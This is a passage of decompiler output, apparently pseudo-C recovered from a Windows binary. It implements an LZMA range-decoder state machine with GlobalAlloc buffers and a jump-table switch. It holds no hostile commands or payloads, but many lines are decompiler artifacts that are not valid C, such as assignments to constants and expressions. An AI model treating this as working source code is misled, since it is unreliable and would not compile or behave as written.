				signed int* _t607;
				void* _t614;

				L0:
				while(1) {
					L0:
					if( *(_t614 - 0x40) != 0) {
						 *(_t614 - 0x34) = 1;
						 *(_t614 - 0x84) = 7;
						_t607 =  *(_t614 - 4) + 0x180 +  *(_t614 - 0x38) * 2;
						L132:
						 *(_t614 - 0x54) = _t607;
						L133:
						_t531 =  *_t607;
						_t590 = _t531 & 0x0000ffff;
						_t565 = ( *(_t614 - 0x10) >> 0xb) * _t590;
						if( *(_t614 - 0xc) >= _t565) {
							 *(_t614 - 0x10) =  *(_t614 - 0x10) - _t565;
							 *(_t614 - 0xc) =  *(_t614 - 0xc) - _t565;
							 *(_t614 - 0x40) = 1;
							_t532 = _t531 - (_t531 >> 5);
							 *_t607 = _t532;
						} else {
							 *(_t614 - 0x10) = _t565;
							 *(_t614 - 0x40) =  *(_t614 - 0x40) & 0x00000000;
							 *_t607 = (0x800 - _t590 >> 5) + _t531;
						}
						if( *(_t614 - 0x10) >= 0x1000000) {
							L139:
							_t533 =  *(_t614 - 0x84);
							L140:
							 *(_t614 - 0x88) = _t533;
							goto L1;
						} else {
							L137:
							if( *(_t614 - 0x6c) == 0) {
								 *(_t614 - 0x88) = 5;
								goto L170;
							}
							 *(_t614 - 0x10) =  *(_t614 - 0x10) << 8;
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
							 *(_t614 - 0xc) =  *(_t614 - 0xc) << 0x00000008 |  *( *(_t614 - 0x70)) & 0x000000ff;
							goto L139;
						}
					} else {
						__eax =  *(__ebp - 0x5c) & 0x000000ff;
						__esi =  *(__ebp - 0x60);
						__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
						__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
						__ecx =  *(__ebp - 0x3c);
						__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
						__ecx =  *(__ebp - 4);
						(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
						__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
						__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
						 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
						if( *(__ebp - 0x38) >= 4) {
							if( *(__ebp - 0x38) >= 0xa) {
								_t97 = __ebp - 0x38;
								 *_t97 =  *(__ebp - 0x38) - 6;
							} else {
								 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
							}
						} else {
							 *(__ebp - 0x38) = 0;
						}
						if( *(__ebp - 0x34) == __edx) {
							__ebx = 0;
							__ebx = 1;
							L60:
							__eax =  *(__ebp - 0x58);
							__edx = __ebx + __ebx;
							__ecx =  *(__ebp - 0x10);
							__esi = __edx + __eax;
							__ecx =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								_t216 = __edx + 1; // 0x1
								__ebx = _t216;
								__cx = __ax >> 5;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								L59:
								if(__ebx >= 0x100) {
									goto L54;
								}
								goto L60;
							} else {
								L57:
								if( *(__ebp - 0x6c) == 0) {
									 *(__ebp - 0x88) = 0xf;
									goto L170;
								}
								__ecx =  *(__ebp - 0x70);
								__eax =  *(__ebp - 0xc);
								 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
								__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
								 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
								 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								_t202 = __ebp - 0x70;
								 *_t202 =  *(__ebp - 0x70) + 1;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								goto L59;
							}
						} else {
							__eax =  *(__ebp - 0x14);
							__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
							if(__eax >=  *(__ebp - 0x74)) {
								__eax = __eax +  *(__ebp - 0x74);
							}
							__ecx =  *(__ebp - 8);
							__ebx = 0;
							__ebx = 1;
							__al =  *((intOrPtr*)(__eax + __ecx));
							 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
							L40:
							__eax =  *(__ebp - 0x5b) & 0x000000ff;
							 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
							__ecx =  *(__ebp - 0x58);
							__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
							 *(__ebp - 0x48) = __eax;
							__eax = __eax + 1;
							__eax = __eax << 8;
							__eax = __eax + __ebx;
							__esi =  *(__ebp - 0x58) + __eax * 2;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edx = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								 *(__ebp - 0x40) = 1;
								__cx = __ax >> 5;
								__ebx = __ebx + __ebx + 1;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edx;
								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								L38:
								__eax =  *(__ebp - 0x40);
								if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
									while(1) {
										if(__ebx >= 0x100) {
											break;
										}
										__eax =  *(__ebp - 0x58);
										__edx = __ebx + __ebx;
										__ecx =  *(__ebp - 0x10);
										__esi = __edx + __eax;
										__ecx =  *(__ebp - 0x10) >> 0xb;
										__ax =  *__esi;
										 *(__ebp - 0x54) = __esi;
										__edi = __ax & 0x0000ffff;
										__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
										if( *(__ebp - 0xc) >= __ecx) {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
											__cx = __ax;
											_t169 = __edx + 1; // 0x1
											__ebx = _t169;
											__cx = __ax >> 5;
											 *__esi = __ax;
										} else {
											 *(__ebp - 0x10) = __ecx;
											0x800 = 0x800 - __edi;
											0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
											__ebx = __ebx + __ebx;
											 *__esi = __cx;
										}
										 *(__ebp - 0x44) = __ebx;
										if( *(__ebp - 0x10) < 0x1000000) {
											L45:
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t155 = __ebp - 0x70;
											 *_t155 =  *(__ebp - 0x70) + 1;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
										}
									}
									L53:
									_t172 = __ebp - 0x34;
									 *_t172 =  *(__ebp - 0x34) & 0x00000000;
									L54:
									__al =  *(__ebp - 0x44);
									 *(__ebp - 0x5c) =  *(__ebp - 0x44);
									L55:
									if( *(__ebp - 0x64) == 0) {
										 *(__ebp - 0x88) = 0x1a;
										goto L170;
									}
									__ecx =  *(__ebp - 0x68);
									__al =  *(__ebp - 0x5c);
									__edx =  *(__ebp - 8);
									 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
									 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
									 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
									 *( *(__ebp - 0x68)) = __al;
									__ecx =  *(__ebp - 0x14);
									 *(__ecx +  *(__ebp - 8)) = __al;
									__eax = __ecx + 1;
									__edx = 0;
									_t191 = __eax %  *(__ebp - 0x74);
									__eax = __eax /  *(__ebp - 0x74);
									__edx = _t191;
									L79:
									 *(__ebp - 0x14) = __edx;
									L80:
									 *(__ebp - 0x88) = 2;
									goto L1;
								}
								if(__ebx >= 0x100) {
									goto L53;
								}
								goto L40;
							} else {
								L36:
								if( *(__ebp - 0x6c) == 0) {
									 *(__ebp - 0x88) = 0xd;
									L170:
									_t568 = 0x22;
									memcpy( *(_t614 - 0x90), _t614 - 0x88, _t568 << 2);
									_t535 = 0;
									L172:
									return _t535;
								}
								__ecx =  *(__ebp - 0x70);
								__eax =  *(__ebp - 0xc);
								 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
								__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
								 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
								 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								_t121 = __ebp - 0x70;
								 *_t121 =  *(__ebp - 0x70) + 1;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
								goto L38;
							}
						}
					}
					L1:
					_t534 =  *(_t614 - 0x88);
					if(_t534 > 0x1c) {
						L171:
						_t535 = _t534 | 0xffffffff;
						goto L172;
					}
					switch( *((intOrPtr*)(_t534 * 4 +  &M004071C8))) {
						case 0:
							if( *(_t614 - 0x6c) == 0) {
								goto L170;
							}
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
							_t534 =  *( *(_t614 - 0x70));
							if(_t534 > 0xe1) {
								goto L171;
							}
							_t538 = _t534 & 0x000000ff;
							_push(0x2d);
							asm("cdq");
							_pop(_t570);
							_push(9);
							_pop(_t571);
							_t610 = _t538 / _t570;
							_t540 = _t538 % _t570 & 0x000000ff;
							asm("cdq");
							_t605 = _t540 % _t571 & 0x000000ff;
							 *(_t614 - 0x3c) = _t605;
							 *(_t614 - 0x1c) = (1 << _t610) - 1;
							 *((intOrPtr*)(_t614 - 0x18)) = (1 << _t540 / _t571) - 1;
							_t613 = (0x300 << _t605 + _t610) + 0x736;
							if(0x600 ==  *((intOrPtr*)(_t614 - 0x78))) {
								L10:
								if(_t613 == 0) {
									L12:
									 *(_t614 - 0x48) =  *(_t614 - 0x48) & 0x00000000;
									 *(_t614 - 0x40) =  *(_t614 - 0x40) & 0x00000000;
									goto L15;
								} else {
									goto L11;
								}
								do {
									L11:
									_t613 = _t613 - 1;
									 *((short*)( *(_t614 - 4) + _t613 * 2)) = 0x400;
								} while (_t613 != 0);
								goto L12;
							}
							if( *(_t614 - 4) != 0) {
								GlobalFree( *(_t614 - 4));
							}
							_t534 = GlobalAlloc("true", 0x600); // executed
							 *(_t614 - 4) = _t534;
							if(_t534 == 0) {
								goto L171;
							} else {
								 *((intOrPtr*)(_t614 - 0x78)) = 0x600;
								goto L10;
							}
						case 1:
							L13:
							__eflags =  *(_t614 - 0x6c);
							if( *(_t614 - 0x6c) == 0) {
								 *(_t614 - 0x88) = 1;
								goto L170;
							}
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							 *(_t614 - 0x40) =  *(_t614 - 0x40) | ( *( *(_t614 - 0x70)) & 0x000000ff) <<  *(_t614 - 0x48) << 0x00000003;
							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
							_t45 = _t614 - 0x48;
							 *_t45 =  *(_t614 - 0x48) + 1;
							__eflags =  *_t45;
							L15:
							if( *(_t614 - 0x48) < 4) {
								goto L13;
							}
							_t546 =  *(_t614 - 0x40);
							if(_t546 ==  *(_t614 - 0x74)) {
								L20:
								 *(_t614 - 0x48) = 5;
								 *( *(_t614 - 8) +  *(_t614 - 0x74) - 1) =  *( *(_t614 - 8) +  *(_t614 - 0x74) - 1) & 0x00000000;
								goto L23;
							}
							 *(_t614 - 0x74) = _t546;
							if( *(_t614 - 8) != 0) {
								GlobalFree( *(_t614 - 8));
							}
							_t534 = GlobalAlloc("true",  *(_t614 - 0x40)); // executed
							 *(_t614 - 8) = _t534;
							if(_t534 == 0) {
								goto L171;
							} else {
								goto L20;
							}
						case 2:
							L24:
							_t553 =  *(_t614 - 0x60) &  *(_t614 - 0x1c);
							 *(_t614 - 0x84) = 6;
							 *(_t614 - 0x4c) = _t553;
							_t607 =  *(_t614 - 4) + (( *(_t614 - 0x38) << 4) + _t553) * 2;
							goto L132;
						case 3:
							L21:
							__eflags =  *(_t614 - 0x6c);
							if( *(_t614 - 0x6c) == 0) {
								 *(_t614 - 0x88) = 3;
								goto L170;
							}
							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
							_t67 = _t614 - 0x70;
							 *_t67 =  &(( *(_t614 - 0x70))[1]);
							__eflags =  *_t67;
							 *(_t614 - 0xc) =  *(_t614 - 0xc) << 0x00000008 |  *( *(_t614 - 0x70)) & 0x000000ff;
							L23:
							 *(_t614 - 0x48) =  *(_t614 - 0x48) - 1;
							if( *(_t614 - 0x48) != 0) {
								goto L21;
							}
							goto L24;
						case 4:
							goto L133;
						case 5:
							goto L137;
						case 6:
							goto L0;
						case 7:
							__eflags =  *(__ebp - 0x40) - 1;
							if( *(__ebp - 0x40) != 1) {
								__eax =  *(__ebp - 0x24);
								 *(__ebp - 0x80) = 0x16;
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x28);
								 *(__ebp - 0x24) =  *(__ebp - 0x28);
								__eax =  *(__ebp - 0x2c);
								 *(__ebp - 0x28) =  *(__ebp - 0x2c);
								__eax = 0;
								__eflags =  *(__ebp - 0x38) - 7;
								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
								__al = __al & 0x000000fd;
								__eax = (__eflags >= 0) - 1 + 0xa;
								 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
								__eax =  *(__ebp - 4);
								__eax =  *(__ebp - 4) + 0x664;
								__eflags = __eax;
								 *(__ebp - 0x58) = __eax;
								goto L68;
							}
							__eax =  *(__ebp - 4);
							__ecx =  *(__ebp - 0x38);
							 *(__ebp - 0x84) = 8;
							__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
							goto L132;
						case 8:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xa;
								__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
							} else {
								__eax =  *(__ebp - 0x38);
								__ecx =  *(__ebp - 4);
								__eax =  *(__ebp - 0x38) + 0xf;
								 *(__ebp - 0x84) = 9;
								 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
								__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
							}
							goto L132;
						case 9:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								goto L89;
							}
							__eflags =  *(__ebp - 0x60);
							if( *(__ebp - 0x60) == 0) {
								goto L171;
							}
							__eax = 0;
							__eflags =  *(__ebp - 0x38) - 7;
							_t258 =  *(__ebp - 0x38) - 7 >= 0;
							__eflags = _t258;
							0 | _t258 = _t258 + _t258 + 9;
							 *(__ebp - 0x38) = _t258 + _t258 + 9;
							goto L75;
						case 0xa:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xb;
								__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x28);
							goto L88;
						case 0xb:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__ecx =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x20);
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
							} else {
								__eax =  *(__ebp - 0x24);
							}
							__ecx =  *(__ebp - 0x28);
							 *(__ebp - 0x24) =  *(__ebp - 0x28);
							L88:
							__ecx =  *(__ebp - 0x2c);
							 *(__ebp - 0x2c) = __eax;
							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
							L89:
							__eax =  *(__ebp - 4);
							 *(__ebp - 0x80) = 0x15;
							__eax =  *(__ebp - 4) + 0xa68;
							 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
							goto L68;
						case 0xc:
							L99:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xc;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t334 = __ebp - 0x70;
							 *_t334 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t334;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							__eax =  *(__ebp - 0x2c);
							goto L101;
						case 0xd:
							goto L36;
						case 0xe:
							goto L45;
						case 0xf:
							goto L57;
						case 0x10:
							L109:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x10;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t365 = __ebp - 0x70;
							 *_t365 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t365;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							goto L111;
						case 0x11:
							L68:
							__esi =  *(__ebp - 0x58);
							 *(__ebp - 0x84) = 0x12;
							goto L132;
						case 0x12:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 0x58);
								 *(__ebp - 0x84) = 0x13;
								__esi =  *(__ebp - 0x58) + 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x4c);
							 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							__eflags = __eax;
							__eax =  *(__ebp - 0x58) + __eax + 4;
							goto L130;
						case 0x13:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								_t469 = __ebp - 0x58;
								 *_t469 =  *(__ebp - 0x58) + 0x204;
								__eflags =  *_t469;
								 *(__ebp - 0x30) = 0x10;
								 *(__ebp - 0x40) = 8;
								L144:
								 *(__ebp - 0x7c) = 0x14;
								goto L145;
							}
							__eax =  *(__ebp - 0x4c);
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							 *(__ebp - 0x30) = 8;
							__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
							L130:
							 *(__ebp - 0x58) = __eax;
							 *(__ebp - 0x40) = 3;
							goto L144;
						case 0x14:
							 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
							__eax =  *(__ebp - 0x80);
							goto L140;
						case 0x15:
							__eax = 0;
							__eflags =  *(__ebp - 0x38) - 7;
							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
							__al = __al & 0x000000fd;
							__eax = (__eflags >= 0) - 1 + 0xb;
							 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
							goto L120;
						case 0x16:
							__eax =  *(__ebp - 0x30);
							__eflags = __eax - 4;
							if(__eax >= 4) {
								_push(3);
								_pop(__eax);
							}
							__ecx =  *(__ebp - 4);
							 *(__ebp - 0x40) = 6;
							__eax = __eax << 7;
							 *(__ebp - 0x7c) = 0x19;
							 *(__ebp - 0x58) = __eax;
							goto L145;
						case 0x17:
							L145:
							__eax =  *(__ebp - 0x40);
							 *(__ebp - 0x50) = 1;
							 *(__ebp - 0x48) =  *(__ebp - 0x40);
							goto L149;
						case 0x18:
							L146:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x18;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t484 = __ebp - 0x70;
							 *_t484 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t484;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L148:
							_t487 = __ebp - 0x48;
							 *_t487 =  *(__ebp - 0x48) - 1;
							__eflags =  *_t487;
							L149:
							__eflags =  *(__ebp - 0x48);
							if( *(__ebp - 0x48) <= 0) {
								__ecx =  *(__ebp - 0x40);
								__ebx =  *(__ebp - 0x50);
								0 = 1;
								__eax = 1 << __cl;
								__ebx =  *(__ebp - 0x50) - (1 << __cl);
								__eax =  *(__ebp - 0x7c);
								 *(__ebp - 0x44) = __ebx;
								goto L140;
							}
							__eax =  *(__ebp - 0x50);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
							__eax =  *(__ebp - 0x58);
							__esi = __edx + __eax;
							 *(__ebp - 0x54) = __esi;
							__ax =  *__esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								__cx = __ax >> 5;
								__eax = __eax - __ecx;
								__edx = __edx + 1;
								__eflags = __edx;
								 *__esi = __ax;
								 *(__ebp - 0x50) = __edx;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L148;
							} else {
								goto L146;
							}
						case 0x19:
							__eflags = __ebx - 4;
							if(__ebx < 4) {
								 *(__ebp - 0x2c) = __ebx;
								L119:
								_t393 = __ebp - 0x2c;
								 *_t393 =  *(__ebp - 0x2c) + 1;
								__eflags =  *_t393;
								L120:
								__eax =  *(__ebp - 0x2c);
								__eflags = __eax;
								if(__eax == 0) {
									 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
									goto L170;
								}
								__eflags = __eax -  *(__ebp - 0x60);
								if(__eax >  *(__ebp - 0x60)) {
									goto L171;
								}
								 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
								__eax =  *(__ebp - 0x30);
								_t400 = __ebp - 0x60;
								 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
								__eflags =  *_t400;
								goto L123;
							}
							__ecx = __ebx;
							__eax = __ebx;
							__ecx = __ebx >> 1;
							__eax = __ebx & 0x00000001;
							__ecx = (__ebx >> 1) - 1;
							__al = __al | 0x00000002;
							__eax = (__ebx & 0x00000001) << __cl;
							__eflags = __ebx - 0xe;
							 *(__ebp - 0x2c) = __eax;
							if(__ebx >= 0xe) {
								__ebx = 0;
								 *(__ebp - 0x48) = __ecx;
								L102:
								__eflags =  *(__ebp - 0x48);
								if( *(__ebp - 0x48) <= 0) {
									__eax = __eax + __ebx;
									 *(__ebp - 0x40) = 4;
									 *(__ebp - 0x2c) = __eax;
									__eax =  *(__ebp - 4);
									__eax =  *(__ebp - 4) + 0x644;
									__eflags = __eax;
									L108:
									__ebx = 0;
									 *(__ebp - 0x58) = __eax;
									 *(__ebp - 0x50) = 1;
									 *(__ebp - 0x44) = 0;
									 *(__ebp - 0x48) = 0;
									L112:
									__eax =  *(__ebp - 0x40);
									__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
									if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
										_t391 = __ebp - 0x2c;
										 *_t391 =  *(__ebp - 0x2c) + __ebx;
										__eflags =  *_t391;
										goto L119;
									}
									__eax =  *(__ebp - 0x50);
									 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
									__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
									__eax =  *(__ebp - 0x58);
									__esi = __edi + __eax;
									 *(__ebp - 0x54) = __esi;
									__ax =  *__esi;
									__ecx = __ax & 0x0000ffff;
									__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
									__eflags =  *(__ebp - 0xc) - __edx;
									if( *(__ebp - 0xc) >= __edx) {
										__ecx = 0;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
										__ecx = 1;
										 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
										__ebx = 1;
										__ecx =  *(__ebp - 0x48);
										__ebx = 1 << __cl;
										__ecx = 1 << __cl;
										__ebx =  *(__ebp - 0x44);
										__ebx =  *(__ebp - 0x44) | __ecx;
										__cx = __ax;
										__cx = __ax >> 5;
										__eax = __eax - __ecx;
										__edi = __edi + 1;
										__eflags = __edi;
										 *(__ebp - 0x44) = __ebx;
										 *__esi = __ax;
										 *(__ebp - 0x50) = __edi;
									} else {
										 *(__ebp - 0x10) = __edx;
										0x800 = 0x800 - __ecx;
										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
										 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
										 *__esi = __dx;
									}
									__eflags =  *(__ebp - 0x10) - 0x1000000;
									if( *(__ebp - 0x10) >= 0x1000000) {
										L111:
										_t368 = __ebp - 0x48;
										 *_t368 =  *(__ebp - 0x48) + 1;
										__eflags =  *_t368;
										goto L112;
									} else {
										goto L109;
									}
								}
								__ecx =  *(__ebp - 0xc);
								__ebx = __ebx + __ebx;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
								__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
								 *(__ebp - 0x44) = __ebx;
								if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
									__ecx =  *(__ebp - 0x10);
									 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
									__ebx = __ebx | 0x00000001;
									__eflags = __ebx;
									 *(__ebp - 0x44) = __ebx;
								}
								__eflags =  *(__ebp - 0x10) - 0x1000000;
								if( *(__ebp - 0x10) >= 0x1000000) {
									L101:
									_t338 = __ebp - 0x48;
